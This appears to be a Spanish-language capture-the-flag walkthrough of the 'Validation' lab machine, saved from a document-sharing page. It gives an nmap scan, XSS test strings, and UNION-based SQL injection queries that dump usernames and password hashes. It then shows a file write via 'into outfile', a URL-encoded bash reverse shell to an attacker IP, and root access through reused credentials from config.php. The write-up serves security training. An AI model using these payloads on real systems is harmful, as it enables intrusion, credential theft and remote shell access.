0% encontró este documento útil (0 votos)
14 vistas9 páginas

Validation 2

Se realizó un escaneo TCP que identificó puertos abiertos y se encontró una vulnerabilidad en un sitio web que permite inyecciones de comandos y SQLI. A través de SQLI, se listaron bases de datos, tablas y columnas, y se intentó escribir un archivo en el servidor. Finalmente, se logró establecer una reverse shell y escalar privilegios al acceder a un archivo de configuración con credenciales de root.

Cargado por

Rodrigo Gonzalez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
14 vistas9 páginas

Validation 2

Se realizó un escaneo TCP que identificó puertos abiertos y se encontró una vulnerabilidad en un sitio web que permite inyecciones de comandos y SQLI. A través de SQLI, se listaron bases de datos, tablas y columnas, y se intentó escribir un archivo en el servidor. Finalmente, se logró establecer una reverse shell y escalar privilegios al acceder a un archivo de configuración con credenciales de root.

Cargado por

Rodrigo Gonzalez
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 9

Enumeración

Lo primero que realizaremos es un escaneo TCP con el siguiente comando


:

nmap -p- --open -sS -sCV --min-rate 5000 -vvv -n -Pn 10.10.11.116 -oN
Validation

Podemos lograr visualizar los puertos 22, 80, 4566, 8080

Si validamos a traves de lo que nos indica su OpenSSH podemos


identificar buscando la version de OpenSSH en launchpad que es un
ubuntu focal

Al visitar la página web que se encuentra en el puerto 80, nos


encontramos con lo siguiente:

La cual a traves de diferentes pruebas, es vulnerable a inyecciones de


comandos como html injection, XSS

Posibles pruebas de codigo :

<h1>Probando</h1> //html inyection


<marquee>hacked</marquee>
<script>alert("XSS")</script> //cross site scripting

Luego decidimos interceptar la petición de el login

Intentamos con el campo Username y no figura nada, luego con el


campo de country y podemos ver reflejado el output de la SQLI
Realizamos una query de sqli para listar las bases de datos
existentes:

'union select schema_name from information_schema.schemata-- -

**NO REALIZAMOS 'ORDER BY'

Y vemos reflejado en el output las bases de datos


A partir de aca listamos tablas

' union select table_name from information_schema.tables where


table_schema="registration"-- -

Luego columnas

' column_name from information_schema.columns where


table_schema="registration" and table_name="registration"-- -

Y por ultimo mostramos el output de las valores 'username' y


'userhash' con group_concat, que lo que realiza es agrupar valores a
traves de parametros como los :, las , u otros

' union select group_concat(username,0x3a,userhash) from registration-- -

El 0x3a es : en hexadecimal

Explotacion
Lo que vamos a probar ahora es que si es posible escribir archivo
mediante las explotación de SQLI e introducir valores en rutas del
sistema. Ya que como podemos ver, podemos leer la base de datos

La query que se utiliza para esto es

' union select "hola" into outfile "/var/www/html/prueba.txt"-- -


Se indica esa ruta ya que generalmente es la que se usa para hostear
las webs y utilizar las plantillas principales.
Ahora podemos lograr ejecutar comandos a nivel de sistema a traves del
parametro cmd
Lo que quedaria es realizar una reverse shell a nuestra maquina
atacante para tener una consola interactiva, la cual realizamos con el
siguiente comando :

bash%20-c%20'bash%20-i%20%3E%26%20/dev/tcp/ip/1234%200%3E%261'

La mejor manera es urlencodear los valores para que no lance algun


error como espacios,>,&

Espacios ( ) → %20

Mayor que ( > ) → %3E

Ampersand ( & ) → %26

Luego nos ponemos a la escucha en este caso por el puerto 1234


Y entablamos la conexión

Escalada de privilegios
Al establecer la conexión vemos un archivo config.php, el cual
contiene lo siguiente :
Probamos la contraseña como root y logramos escalar privilegios

También podría gustarte